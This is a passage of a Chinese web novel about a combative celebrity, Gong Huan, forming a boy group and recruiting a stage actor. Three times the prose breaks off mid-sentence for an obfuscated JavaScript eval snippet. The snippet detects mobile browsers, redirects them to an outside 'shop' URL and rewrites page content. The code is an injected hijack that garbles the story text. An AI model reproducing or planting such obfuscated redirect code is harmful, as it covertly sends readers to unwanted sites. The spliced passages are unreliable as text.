“半个小时吃完饭,等下有别的安排。前几天我们联系了一位知名舞团的舞蹈老师,让她给你们做长期的舞蹈训练,今天开始你们就要按照男团的标准去训练了,做好准备了吗?” 安声听到知名舞团时眼睛一下亮了:“真的吗!是哪个舞团的啊?肯定很厉害吧!” 奚亭云喝完一杯牛奶,没大的情绪起伏,只点点头:“我随时都可以。” “国内外著名的AUO舞团,世界级别的,”高姐毫不掩饰骄傲的神色,“宫欢可是在你们身上下了很大的功夫,昨天她发给我一份大致的规划,晚点我会跟你们说一下。” “对了,你们在微博的私人账号注册好,然后统一交到我这边管理,回复或者点赞哪个明星好友之类的,以后都要问过我这边。” 安声点头表示理解,拿着手机准备注册一个新的账号。 他刚登进去就看见热搜,微微瞪大眼,然后将屏幕举到高姐面前:“高姐,欢姐好像给谁点赞了,好多人都在评论诶。” “谁!?”高姐迅速将目光移过去。 本来过去的热度再次被炒热,热搜上挂着—— 宫欢点赞鬼畜视频评论:有点东西。 高姐站在餐桌前,深深呼吸后怒声大叫:“宫欢!!!” - 这闹铃响彻整栋别墅。 宫欢趴在床上刷手机的动作顿了顿,然后翻了个身继续刷。 昨天半夜,她查看鬼畜视频的情况,热度空前绝后的高,评论里全都是在玩梗的。 比如:为xx圈劳模xx庆生!! 比如:为金融圈劳模xx庆生,为牛马界xx庆生。 甚至衍生出了特殊的恶作剧生日视频流传出来。 在生日宴后的3-5天内,宫欢像是成了一个社交符号、八卦必聊的话题,梗和表情包流传甚广,有些人跑到宫欢的微博下突脸发表情包。 有的人把宫欢当成生日之神,在她微博下面许愿—— 【不要像宫欢这么倒楣。】 网友这么热情,宫欢当然不会扫兴。 她回复:【你肯定不会像我这样倒楣,也不会像我这样富有,穷逼。】 她的微博没关闭评论功能,不少人都是追着热度过来嚣张乱骂的。 宫欢自然要让他们见识一下社会的险恶。 怼天地赢彩票评论:【宫欢这种人还能蹦跶多久啊,真受不了了。】 宫欢:【我不但蹦跶,还要半夜在你家楼上玩跳绳,跳完回我一千多平的别墅睡觉。】 芥末大师评论:【娱乐圈有你这种败类真是离谱。】 宫欢:【评论界有你这种粪球真是熏人。】 简单骂了几句后,宫欢翻看手机消息,发现不少制片、导演、金主都有发消息,问她最近考不考虑直播带货、接代言等等。 宫欢礼貌公式化的谢绝一部分质量较低的邀请。 她最近流量大了,热度和曝光率很高,趁着这段时间挣快钱是最好的。 但她现在有其他的规划,每一步都要考虑自己的团队,不能随便败坏口碑。 她现在的流量是很大,但只凭一个人是没办法延长在娱乐圈中的保鲜期的,一个人能作的程度有限,网民们看多了就会嫌烦。 紧接着宫欢收到一位王导演的节目邀请。 该导演创办过几档口碑不错的综艺,在视频网站上播放量高达上亿,因此导演也跟着小有名气,被称为内娱综艺之光。 最近这位王导演创办了新的综艺节目——围炉夜话。 宫欢觉得有点意思,她找出这档综艺节目的前几期看了下,大致了解了情况。 这档节目的核心内容是邀请14-17个人,其中有三四位是圈中大佬级别用来镇场,其他则是二三线小火的、或是不火的艺人明星。 众人围坐着成一团,轮流去煮茶布置水果零嘴等等,然后其他人聊天。当然不是普通的聊,有八卦有内幕,还有各种回忆往昔的拍摄内幕与趣事。 一期节目有时难免平淡,就需要一些非常有话题度的明星混入其中来挑起事端。 于是,这位导演找到了宫欢。 她本身的存在就极有爆点,性格火辣,说话不饶人。 这样的人混进十几个人里,就像丢进去一个重磅炸弹,周围全是被炸死的鱼。 宫欢不得不说,这王导演心思够坏的,她一旦参与这个节目,到时候恶意剪辑一下,都不用想,肯定又是一阵腥风血雨。 宫欢捏着手机犹豫。 她挑选邀约是有用意的。 综艺节目的导演上面会有许多金主和制片人,要为男团铺路势必要接触他们,自然要先卖个好,去和导演他们搭个关系。 考虑再三,宫欢接下了节目邀请。 王导演发来档期时间,宫欢顺手转发给高姐,然后慢吞吞下楼。 正在下楼梯的途中,宫欢都能感觉到高姐的凝视。 她笑眯眯地下来,“姐,吃早饭了吗?” 高姐冷着脸:“我可吃不下,大早上又是热搜问候的。” 餐桌旁,奚亭云拿着手机不知翻看什么,只能看见他指尖飞快的戳着手机屏幕。 安声看不出氛围奇怪,咬着煎蛋火上浇油:“欢姐你又上热搜啦,还有人夸你心胸宽广诶。” “你确定那不是阴阳怪气?”宫欢挑眉,安声恍然大悟地点头,嘟囔着原来如此。 宫欢拉着生闷气的高姐坐下给她按肩解气,“好啦好啦,没多大事,就是点个赞,鼓励他们再创作,而且我还吸引了一波眼球,你应该高兴啊。” 拿自己去博热度博眼球,高姐实在是高兴不起来,但这是宫欢的选择,她会尽力配合她。 “我接到个节目邀请,综艺能手王导演的【围炉夜话】。” 阿姨上了两份新的早点,宫欢顺势坐在高姐旁边,隔一个座位的是奚亭云,她吃了两口烤制的全麦面包,“我已经约了档期,你看看那天我还有什么行程没。” 宫欢吃着面包,下意识往旁边看了眼。 奚亭云的手机界面停留在熟悉的画面上,看着像是微博。 在微博敲字速度那么快? 宫欢看过来的动作明显。 奚亭云停住敲打屏幕的动作,迅速将手机锁屏放在桌上,装作正常地继续吃着剩下的半片面包。 高姐拿出电脑翻看:“没有,那几天暂时没有安排,这档节目里面人多嘴杂,你去了可能会吃亏。” 宫欢哼了声,捏着面包片摊开手,往后一仰翘起腿:“你太小瞧我了,我会吃亏?在场所有人,只要谁敢提一句我不爱听的,我就让他见识见识娱乐圈小炮仗的火力。” “然后第二天喜提耍大牌、怼前辈骂同辈的传闻。” 高姐默默翻个白眼,手却不停地将这个安排加进宫欢的行程表,联系节目组提前确认细节:“你是嘴皮子不吃亏,回头被他们粉丝骂得影响到财运就麻烦了。” 宫欢无所谓地耸肩,“能被影响的就不是正财,能被搅黄的就不是正缘。” 安声听得一愣一愣:“太有道理了。” 宫欢冲他丢了个“是吧”的眼神,她撕着面包吃起来,看向身旁吃完干坐着的奚亭云。 “他们今天的安排是什么?”宫欢问了句。 没等那两人回答,奚亭云率先开口:“等世界级舞蹈老师来带我们做训练,我有点担心......” 果不其然的引走了宫欢的注意力,她眨眨眼,不说自明:“怕什么,尽管去学就是,这个老师很专业,带过不少练习生,教学年龄有个十几年,像你这么聪明的人肯定一学就会。” 奚亭云如愿以偿,低头喝了口水,“嗯,我会努力不拖后腿的。” 前期还是鼓励式教育好用,后期要是有人飘了她就得采取打压式教育了。 宫欢朝他笑笑:“看好你哦,我会不定期查看成果,别让我失望。” “你们好好训练,”宫欢端起牛奶准备上楼,“有事找高姐。” 高姐看宫欢这架势,早起吃早饭,估计又要外出应酬,“等会要去哪儿?不用让其他助理跟着吗?” “不用,我自己出去转转,”宫欢到了三楼,举起牛奶杯朝着下方的他们敬了一杯,“为我们的未来四处奔波。” - 别墅-1层。 在男团之前这层楼暂时只有面积200平的健身房,其他空位搁置空闲,平时宫欢或高姐偶尔会来锻炼。 男团计划初成那天,宫欢想到前车之例,决定将男团的前期训练都定在家里。 在眼皮子底下看着众人训练,以防他们还没怎么火就乱来,破坏她的20亿大计。 因此-1层的另一边是舞蹈训练室。 高姐效率很高,在宫欢去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杰西卡坐在旁边说:“我看得出来你很有耐心,有主动性,但是舞蹈这种东西,是需要经验累积和时间沉淀的,就算再有天赋也要一步步来。” 奚亭云灌下几口水,鼻尖都滴着汗:“以我的资质,训练多久能有初步的惊艳效果?” 杰西卡为难道:“用扑克牌来比喻的话,你这张牌,单出绝对会败,但是请我来的那位经纪人说你们会组建三人男团,男团里面刚才那个男孩子作为主C位。这样三张牌出的话,你只要找好自己的优势,配合主C,是可以做到惊艳爆点出圈的。” “团队就是相辅相成的嘛。” 奚亭云看向安声,他正摆弄手机,忽然捂住肚子,匆匆将手机放下跑出训练室:“我去趟洗手间!” “优势,”奚亭云重复着,“我的优势是什么?” 杰西卡一脸嫌弃,觉得他很装:“你是真不知道还是假不知道?” 奚亭云皱眉:“什么?” “......算了。”杰西卡选择不点破。 男人最好的医美就是帅而不自知,保持谦卑,要是这人发现颜值可以迷惑人,万一油起来,一段舞八百个表情,想想那真是受不了。 不明白杰西卡言下之意,奚亭云也不打算多问。 他起身去找手机想看看消息,训练时两人的物品都放在另一张小桌子上,是刚才安声休息的地方。 奚亭云走近,刚弯腰准备拿起手机,视线一晃,看见安声的手机屏幕还保持在聊天界面,像是在和朋友聊天。 他本该收回视线不贸然偷看别人的聊天内容,只是,上面出现的字好像和他有关。 【四肢僵硬】 【像刚学会独立行走的猩猩】 【男团真的可以出道吗】 【我知道他很勤奋,可是有些东西是勤奋无法弥补的,他根本不合适】 安声小跑回来,便看见奚亭云站在小桌旁边走神,他一时心虚冲过来,手机屏幕还亮着。 ——救命,他的手机屏幕亮度时间是10分钟,手机根本不会自动锁屏,对话内容肯定都被看见了!! ——世界上有什么比吐槽别人正好被当事人看见吐槽内容更让人社死的事!! 安声满头大汗。 见他回来,奚亭云没多说什么,拿起手机点开微博,似是看见什么内容,对着手机露出个浅淡的笑意。 紧接着手指在屏幕上悄悄打打一阵。 安声心虚地不敢吭声,胆战心惊地看着奚亭云的笑。 休息时间刚过去10分钟,奚亭云又开始要求继续训练。 安声此时很想跟他道歉,说自己年轻不懂事,可不可以多休息会。 但很可惜,奚亭云进入了专注心流模式,他全神贯注地听着杰西卡说的动作要点,看着舞蹈视频继续训练,不在意任何外界的干扰。 是谁评判都不重要,奚亭云只想要达到他的目的。 10. 一亿到账 银行贵宾室。 木质茶几上摆放着泡好的红茶茶水,一缕缕的热气向上飘起。 宫欢端起水杯慢条斯理地喝了一口。 她穿着简便,米色工装裤,白色吊带背心配粉色半袖宽松外套,头戴鸭舌帽,帽檐遮住了额头,投下的阴影遮住了大半张脸,却使得阴影中的五官带着种氛围感。 看似简单的穿着,却让她一进银行就被迎进贵宾室。大堂里不少人频频侧目,好在宫欢穿着低调,没人认出来。 一亿支票的兑现、转账等操作确实麻烦了些。 不多时,贵宾室的门打开,分行行长旁边跟着大堂经理,两人进来后对宫欢笑笑落座。 宫欢开门见山:“我要把支票里的钱转进个人账户。” 行长接过支票,刚才经理已经做过初步的确认步骤,支票金额确认无误,行长客气地笑着,语气温和: “马上操作,请提供您的账户,对了,宫欢女士,您有理财的产品吗?只是单纯储蓄的话,利息并不可观哦。” 宫欢谢绝了她的推荐:“不用了,这些钱都要用来投资,以后会经常动用。” 行长听后并不多说,只点点头表示理解,让经理操作转账事宜。 她和宫欢喝着茶闲聊,这样的大客户,以后进出流水最好都经过她这,业绩就达标了。 只是看着宫欢,行长总觉得眼熟,试探着问:“宫欢女士的姓氏很少见啊!我基本没见过几个姓宫的,除了那位宫氏集团的宫言先生——之前在一个宴会上聊过几句,您和他认识吗?” 宫欢表情冷淡地喝了口茶:“不认识,什么傻逼。” 行长:“......哈哈哈,您真会说笑。” 转账操作完成后,宫欢手机收到提示消息,账户到账一亿元,算上她原本的几千万零头,真是一串赏心悦目的数字。 钱顺顺利利的到了账户,宫欢心满意足,临走前人都笑开了花。 在宫欢离开后,行长看着宫欢离开的背影:“她肯定和宫氏有关系。” 大堂经理探出头:“要不要打听一下?宫欢最近被全网黑的很厉害,要真是宫氏的人,没看见宫氏有什么表示啊。” 行长摇摇头:“她刚才骂那位宫言先生,可见很讨厌宫氏不想搭上半点关系,说不定又是富二代和家里决裂,立誓出来闯出一番天地的狗血八卦大剧。” “啧啧啧,贵圈真乱啊。” 大堂经理吃瓜吃得津津有味,转头就拿起手机在网上翻起宫欢的八卦事迹,加入八卦大军猜测她的背景。 - 走出银行大门。 宫欢举起手机自拍一张,发上微博,配文:【心情好的时候看什么都顺眼。】 下午阳光明媚,她买了冰淇淋,边吃边晒太阳,刷着手机看热搜,随机挑选几个幸运观众怼几句。 微博发出不过10分钟,评论内容激增,除去看戏的网民和各家粉丝,几条特别的评论吸引了宫欢的注意—— 评论没有夹带私货、带节奏,而是像朋友日常聊天那样评论回复: 【粉色很衬你的肤色!-小猫星星眼表情包.jpg】 【欢欢私人衣品超级奈斯!衣架子穿什么都好看~-猫爪捧心表情包.jpg】 【是遇到什么好玩的事情了嘛!?】 三条评论来自同一个ID:“欢欢打爆全场”,粉丝等级很高,在一众评论里遥遥领先。 大概是怕被淹没在众多的混乱评论中,所以发了好几条评论。 宫欢咬着冰淇淋回忆——她对这个ID有印象。 生日宴之前,她很少上微博,偶尔转发一下艺人活动。而这个名叫“欢欢打爆全场”的账号评论过不少她的微博。 以前她没怎么经营微博,也没注意过自己有多少黑粉。 对,宫欢认为自己只会有黑粉,应该没几个粉丝会喜欢她这样风风火火浮夸高调,看谁不爽就刺儿两句的人吧。 但是貌似,这个人好像真是她粉丝?? 微博评论机制里面,粉丝的等级会随着评论次数升级,这个账号的等级是最高级别。 宫欢仔细翻了翻之前的微博,总能看见“欢欢打爆全场”的身影。 甚至,宫欢把微博翻到了两年前都还有她的评论内容。 好家伙,居然真有真心粉?? 今天心情好,粉丝又嘴甜,宫欢给“欢欢打爆全场”回复: 【喜欢这件衣服?给你买宝宝,很高兴你夸夸我,给你发红包~】 宫欢笨拙地操作微博半天,总算把红包发出去了,随后退出微博,不再关注后续。 离对赌协议签下那天过去了一个星期左右,男团还没组建成功,艺人也不够,宫欢觉得自己还得再赶一赶,不然一个月下来没有水花,无事发生。 正想着,她手指不知滑到了哪里,手机蹦出自动播放的广告,是同城附近的推荐内容,画面里出现夸张怪诞的话剧表演片段,剪辑的挺不错。 话剧,演员!? 宫欢一个激灵将冰淇淋塞进嘴里,买了最近的一场票,是傍晚19:30的场次。 剧场不远,开车20分钟左右。 她跳上车,打开车载音乐,跟着动次打次的土嗨音乐大声唱起来,坐在驾驶位上都情不自禁地嗨起来,摇头晃脑,嘴里嘟嘟囔囔唱着: “10个亿啊10个亿,一生一世花不完,王多鱼一月花10亿,我他大爷的3年挣10亿~10亿变20亿~” 宫欢猛拍方向盘,在车里发疯发癫,自问自答:“谁最牛!我最牛!还有谁,我就问还有谁!哈哈哈哈哈没有!!” 从宫欢旁边开车过去的其他车辆都不免侧目,看见车内的女人摇头晃脑,下意识拿起手机想拨打报警电话。 ——警察蜀黍,我好像看到个精神不正常的女人在开车,非常危险!! - 两小时后,宫欢兑换了话剧演出票。 外屏播放着这场话剧的内容介绍:午夜迷踪,讲述一个名叫瑞思的女孩陷入一场可怕恐怖的梦境,遭遇种种怪物的阻挡,结识许多可爱的伙伴,最后击碎梦境,面对现实的故事。 宫欢觉得大意了,因为不论怎么看,屏幕上的话剧演员装扮偏向童话梦幻风格,看着不像是成人向,倒像是儿童剧。 正是检票进场阶段,现在退票也来不及了,就当放松吧。 宫欢跟在进场的人群后面,慢慢进入剧场找到座位,手机静音,她找了个舒服的姿势没形象地歪在座位上等待开场。 如她所料,人并不多,周围许多都是带小孩子来看的家长们,尽管家长们让小孩保持安静,不可避免地还是偶尔会有尖叫之类的声音。 话剧开场,出现的第一幕就是较为吓人的场景—— 主角瑞思跌入梦境,剧场采用了破碎的镜片放在地面,女孩赤脚踩在镜面上,脚上沾满鲜血。 她害怕地叫喊:“我在哪里!?这是哪里啊?” 有些小孩直接吓哭了,家长只好退场离开。 宫欢其实有些昏昏欲睡,半阖眼听着话剧演员的台词,迷迷糊糊到了后半段清醒不少,于是坐直了去看。 环视一圈,剧场里只剩大概10人左右。 这话剧不太受欢迎啊,是筛选受众的时候没有选好,让人误以为是儿童向的,其实适合青少年观看。 话剧舞台上,主角瑞思和两位伙伴来到梦境的最后一层,这层梦境名为虚假。 穿着欧式长裙的瑞思经过前几重梦境洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126301|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼,现在已经没有那么畏缩了,她鼓起勇气朝圆形的镜框喊叫: “现身吧虚假!我将会在这击碎你,从此之后拥有真实,不再迷茫!” 镜框急速的抖动震颤着,从中走出一个穿着打扮极为花哨滑稽的小丑。 他面部画着丑陋扭曲的油彩妆容,眼睛往下画着黑漆漆的泪痕,嘴角却扬起一个可怕的弧度,在妆容的加持下,似乎一度裂到了耳根。 小丑头顶橙红与青绿的爆炸头,他走出镜框,面向观众席癫狂大笑:“打败我?哈哈哈哈哈,明明就是你赐予我生命,现在却要杀死我,世界上从来不会有这么好的事情。” “我会成为你的一部分,和你形影不离,你的背面注定有我的存在,虚假,是你永远甩不开的诅咒!” 小丑张牙舞爪地舒展身体,主角瑞思举起王剑,和几位伙伴联手费力地杀死了他。 临死前,小丑死死地扒住地面往台下爬,狰狞咆哮:“我会再次重生的!在你虚弱的时候,在你欺骗的时候,在你任何脆弱的时候!!” 话剧舞台下,前三排的几个小孩吓得嗷嗷叫,拽着家长就往外跑。 “妈妈!!啊啊哇呜呜!好可怕!小丑好可怕!” 台上几个演员都傻了,咬着牙低声说:“你大爷的干嘛呢!死回来!人都要吓走了!!别即兴表演啊大爷!” “萧子重你给老子死回来!!!” 10个人跑得还剩三个,其中有个小孩子跑走的时候,还将手里的玩具枪砸过去—— 砰得一下把爬行的小丑砸得半截身体卡在台上,半截在台下,不上不下地挂在那里。 其他演员赶紧把他拖回幕后,随后全体仓促谢幕——除了小丑。 剧场内,观众都已离场,除了宫欢。 后半段她全程的注意力都在小丑身上,主要是他的台词太响亮,全场回荡,有些台词听来不简单,非常有内涵。 主角想杀死自己虚假的一面,可虚假是自己催生而出的,无处不在,无法杀死。 编写台词的编导功不可没,不过饰演角色的演员中,宫欢都有仔细看过。? 她选人是有特征的。 首先的就是长相、身高、体态,这几个有一个合格就可以,当然如果实在满足不了三个有其中两个也尚可。那几位演员不适合她的路子,小丑倒是吸引了她。 戏多,台词功底好,舞台张力强。 即使满脸的油彩,表情夸张动作幅度大,却不显得过多油腻,而是给人恰到好处的感觉,可以看出来对表演的角色有深刻的解读。 宫欢在观众席里坐了一会儿,准备去后台打探一下情况。 这时,刚才被拖走的小丑走了出来,手里拿着张皱巴巴的纸和一包卸妆巾,一边读着台词,一边用湿巾擦拭脸上的油彩。 宫欢按兵不动,静静观察。 小丑的体型合格,肩膀看起来有点壮,即使画着五彩斑斓的油彩,五官仍能辨认出来,湿巾被他拿着从面部左侧一路擦到右边,上半张脸擦得干净不少。 外形不错。 宫欢手指抵着下巴。 像他这种话剧演员身上多数会有一种傲气,即是有自己所坚持的选择,不会轻易为普通的利益改变自己的原则。 所以不能再用哄骗那一套。 宫欢得戳着他心窝子来,玩伟大的理想那一套话术。 她摘下鸭舌帽,整了整衣服褶皱,从观众席走到舞台前,带上那熟悉的笑:“你好啊,虚假。” 萧子重默念台词的动作顿住,抬头看向声音的来源。 一个穿着打扮风湿潮气的女人,嘴角带着一丝说不清道不明的得意,仿佛赚了几十万。 他看过她的脸后,脱口而出:“宫欢!?” 11. 小丑落幕 “你认识我?”宫欢惊讶。 没想到小丑嗤笑两声:“大红人啊您,谁不认识?” “现在不论打开哪个软件都能看见您的视频,久仰大名啊。” 萧子重继续擦拭着脸上油彩,卸完妆后,优越的面部显露出来。 与奚亭云的沉稳内敛和安声的清俊呆萌给人的感觉不同。 这位小丑的眉峰浓黑,面部轮廓硬朗,下颌线清晰。 鼻梁在眉心的下半部分挺拔而出,显得面中极具攻击型,唇厚,眼型偏长,肤色偏健康的小麦色,带着种野性的痞气。 他看人时眉头下压,有几分审视。 语气却吊儿郎当的有种北京地道口音,肩膀略宽,露出的手臂部分可以看出清晰的肌肉纹理,显然是经常健身锻炼。 身材管理到位,宫欢微不可查地点头,她搭话聊起来:“你做话剧演员多久了?感觉演技不错啊。” 没想到这人说话带刺:“你查户口吗?我演技怎么样用不着你来评价。” 萧子重看都懒得看宫欢一眼,他向来对宫欢这种只会博流量的人没好感。 没点真材实料,只会博眼球,比他还要像小丑。 啧,宫欢眉头一挑,她轻笑两声,拿出话剧票来在面前抖了抖: “我买了票,就是这场话剧的观众,作为观众,我不止能评价你,我还可以去小众点评上给你差评说你演技差~” “哎呀,要怎么凑够30个字呢,”宫欢欠揍地用票当做扇子扇了扇风,“小丑演员冷脸,甩脸子,对观众耍大牌,吓跑小朋友——” 萧子重仿佛被戳中弱点,脸色黑青交加。 话剧演出的票在某团和点评上花了不少推广费,最近评分不高,剧团里的演员们都在想办法提高评分,每场话剧结束后都会有人专门在外面找人给五星好评。 这女人竟然拿差评威胁他! 萧子重跳下舞台几步靠近宫欢,眼神比刚才要更凶狠,居高临下地看着宫欢:“你这是无中生有!” “我还无理取闹呢。” 宫欢气势不减,双手抱臂仰视他,那副欠揍的脸笑嘻嘻,“朋友,我只是想跟你们话剧演员聊聊幕后趣事,结果你上来就刺我,我还真没吃过这种亏。” 深呼吸深呼吸。 萧子重瞪着宫欢好半天,最后还是冷哼一声,转身坐在最前排的观众席上,没好气地说: “要问什么赶紧问,我等下还要收拾道具。” 成功! 宫欢嘴角掩盖不住的笑意,她坐在萧子重隔开两个座位的位置,“刚才的问题,你还没回答我。” 萧子重:“表演专业,演戏七八年了。” “你有拍过电视剧之类的吗?”宫欢问,“除了话剧以外。” 萧子重:“拍过,凉了扑了。” 俗话说,攻人先攻心,擒贼先擒王。 宫欢坐姿随意了些,她撑着下巴侧头看他。 “你叫萧子重对吗,我刚才看到演员表上有你的名字,看得出来你很喜欢演戏,尤其刚才那段自己加的戏份。” 提起加戏,萧子重僵硬地动了动脖子,瞥她一眼:“你觉得,怎么样?” 宫欢故意拉长语调:“怎么说呢,嘶......简直是——” “特别好?” “特别烂。” 萧子重的脸立马黑了,手指指骨捏得咔咔响,像是准备把宫欢拎起来扔出去。 结果下一秒,宫欢接着说: “加戏要加在合适的地方,你们这话剧明明是青少年向的受众,来的大多都是13岁以下的小孩,刚才都没剩多少观众了,你还非要给自己加戏,就为了过戏瘾?就为了凸显你自己的演技多么精妙??你考虑过观众的感受吗?观众想看吗?” “演员要按照剧本来演戏,是一条基准线,为什么剧本这么写,因为这样设计才最好。” “当然不能完全否决个人对角色的琢磨钻研能使角色更立体,但你要用在合适的地方,用在细节上面,表情上面,内心对自己的改变上面。而不是强行给自己拉长表演时间,强迫观众看你的“精妙绝伦”的演技。” “观众不是你的镜子,你真爱演回家自己照镜子去,我来,只是为了看想看的,不是为了吃石。” 一长串话条理清晰,字句流畅,既表达出了自己的不满,又指出萧子重的“演技自恋”,将他震得久久无法言喻。 他对宫欢原本带有不屑的态度也渐渐散去,转为复杂地注视,萧子重沉默许久。 心防攻破,再进一步。 “其实长时间在一件事上面消耗所有的精力会让你对自己失去判断,你会觉得,为什么我投入这么多,却一点收获都没有。” 宫欢放低语气,指了指自己,“还不如一个外行人看得清楚。” 萧子重别扭的解释:“......我没这么说过。” “但你是这么认为的,”宫欢直白的点破,“你沉浸在自己的世界里失去了对自己的判断,标准线不再是社会大众的基准线,而是你自己画出来的一个圈。你,把自己圈起来了,画地为牢。” 坐在前排观众席上的小丑身体前倾,双手搭在膝盖上,垂下头将自己藏在阴影内。 话剧落幕,观众散去。 小丑从未真实的面对过自己的内心,而是一意孤行,将自己摆在一个清高的位置。 安静持续了一段时间,萧子重声音沙哑:“你有好的建议吗?” 宫欢压不住上扬的嘴角,圆亮的眼眸里闪着狡黠的光: “说不上什么建议不建议的。我建议,你换个赛道,多尝试一下才知道自己真正想要的是什么。” 萧子重半信半疑地侧眼看她,“比如?” - 半小时后,晚上21:00。 萧子重换回常服,一身条纹马甲配白衬衫,背部将衬衫撑得紧绷,随性的解开了领口扣子,袖口卷到小臂上方,小臂肌肉上蜿蜒着青筋。 站在后台半天,其他话剧演员们忙着卸妆收拾道具衣服,没人注意站在门口的萧子重。 他做好决定,深呼吸,朝各位话剧演员深深鞠了一躬,“对不起。” 如蚂蚁般忙碌着的演员们都惊了,个个愣在原地不知所措,看不懂萧子重这是又演哪一出。 “谢谢大家一直以来对我的关照,我之前胡乱加戏,影响你们的进度,影响观众的观感,我一直都没考虑过这样的行为会影响到大家。” 萧子重一直弯着腰没起身。 “给各位添了不少麻烦真是抱歉,直到现在我才醒悟过来,一直以来我都在折磨你们折磨观众,我自己也在原地转圈,对谁都不好。” “我想了很久,我需要去看看别的世界,看看自己的内心,感谢你们的陪伴,有缘再见。” 萧子重说完后头也不抬,谁都不敢看,转身就走。 毕业后,他辗转多个话剧剧团,这家剧团是唯一一家接纳他超过两年的,剧团里大大小小的演员们相处的都很好。 即使他胡闹加戏,也只是骂一骂他,互相吐槽几句,没有再过分的了。 没走几步,萧子重背后传来零零散散的掌声,接着慢慢多起来。 他脚步顿了顿,原本只有一两声,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126302|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他越走越远,掌声也越来越响。 像是每一次谢幕时,观众们的掌声。 这次,是他们在为谢幕的小丑欢送。 萧子重强忍着泪意,说不出是为了这场欢送,还是为了和过去的自己告别。 他快步走出剧院,看见外面停着一辆大型轿车。 暗黑色的车窗缓缓下降,坐在驾驶位的宫欢叼着一根手指饼干,她两指夹起饼干,吐出不存在的烟雾,侧头看他,扬了扬头: “上车吧。” 萧子重泪意瞬间止住,表情复杂。 怎么那么像被富婆看中带走包养的感觉??? 他上了车系好安全带,念头一冒出来就止不住。 宫欢看出他眼里没散的泪意,恶作剧的心大起,明晃晃的非要戳破:“哟,哭啦?” 萧子重:“......你不说话没人把你当哑巴。” 以后再逗,今天好不容易把人说服,不能一不小心就让他跑了。 她只好收敛了,说:“你家里有什么东西要带的,顺路去你家拿了吧,男团的其他两位成员都住在我那边,方便训练。” 萧子重更觉怪异,坐在副驾驶眉头紧锁,手肘撑在车窗边沿沉思。 ——回家拿行李,更像了...... 宫欢启动车子开上道路,将嘴里的手指饼干嘎嘣嘎嘣吃完: “拿几件换洗的就可以了,回头把你地址发给高姐——也就是我的助理,她会找人帮你把大件东西搬过去的。” 萧子重的家离剧院不远,没几分钟就到了。 两人上楼,萧子重打开家门,手在墙壁上摸索灯的开关,来回摁几下,毫无反应。 “那个,搬家之前,能先给我交个电费吗?”两人摸黑,在走廊里大眼瞪小眼。 宫欢拿出手机加了他微信,直接转了五千过去,纳闷道:“你没钱吗?” 萧子重盯着转账,内心承受着极大的挣扎,还是收了:“......我工资大多拿来买道具了,剧团的场次不多,这个月工资还没发。” 她点点头,将地址发给高姐,备注:【新的男团成员家庭住址,明天找人给他搬过去。】 高姐很快回复:【OK,几点回来?】 啪得一声,房间亮起光,电费已经续上。 萧子重将两三件衣服装进行李箱提起便走,宫欢问:“没有别的了吗?” 萧子重耸肩:“没了。” 宫欢回消息:【一会儿就回去。】 收拾妥当后,两人坐上车。 载着最后一位男团成员,夜晚凉爽舒适,宫欢吹着小风心情极好,她不免感叹:“今天的晚风,真凉爽~” 副驾驶的萧子重:今天的夜晚,真复杂。 “你坐稳点,我要开始加速了。”宫欢提醒他一句。 坐还能怎么坐稳? 萧子重疑惑。 只见宫欢熟练地挂挡踩油门,车身猛然提速,推背感袭来,她操控着方向盘左转右甩,车身在堵塞的车流里如鱼摆尾,穿出堵车路段后又一阵漂移加速! 车内的挂饰被甩得绕圈打转,萧子重头眩晕的厉害,手摸摸索索地抓住了扶手,现在才明白宫欢说的坐稳点是什么意思。 “姑奶奶您开慢点!我——我胃里——” 萧子重一手捂住嘴,眼前晕晕乎乎打转,身体左摇右摆,陆地车愣是被坐出了过山车的感觉。 车一路开至别墅区,直到宫欢踩下刹车,萧子重推开车门便趴在草丛边吐了起来。 宫欢下了车,潇洒地一甩车门关上,嫌弃地朝人啧了声:“真没用。” 12. 画饼之神 到家时,别墅外亮起一圈圈的装饰彩灯,音乐喷泉起起伏伏。 宫欢领着萧子重进了大厅,旁边的用餐区正巧在上菜。 奚亭云和安声刚从舞蹈室出来,浑身大汗淋漓,各自一屁股坐在餐椅上躺尸。 “回来的真是时候,”宫欢让阿姨将萧子重的行李拿上楼,带着他来到餐桌前,挨个介绍,“这位是我刚认识的专业演员萧子重,长达10年经验,从今天开始就正式加入我们的男团啦,鼓掌!” 奚亭云最先带头鼓掌,自我介绍:“你好,我是奚亭云。” “我是安声......”安声半死不活地趴在餐桌上拍手。 从上午舞蹈老师来了之后,除了吃饭喝水的时间两人基本上都在训练,每次安声劝奚亭云休息会,就会得到他的一句“你休息就好”,软钉子似的。 萧子重对两人笑笑,维持着基础的礼貌。 然而这礼貌没持续多久。 宫欢和高姐端着饭各自去忙了,留下三人用餐。 萧子重看这两人挺好说话,于是主动搭话:“我之前是做话剧演员的,想尝试新的赛道,对男团这类型不太熟悉,你们呢?” 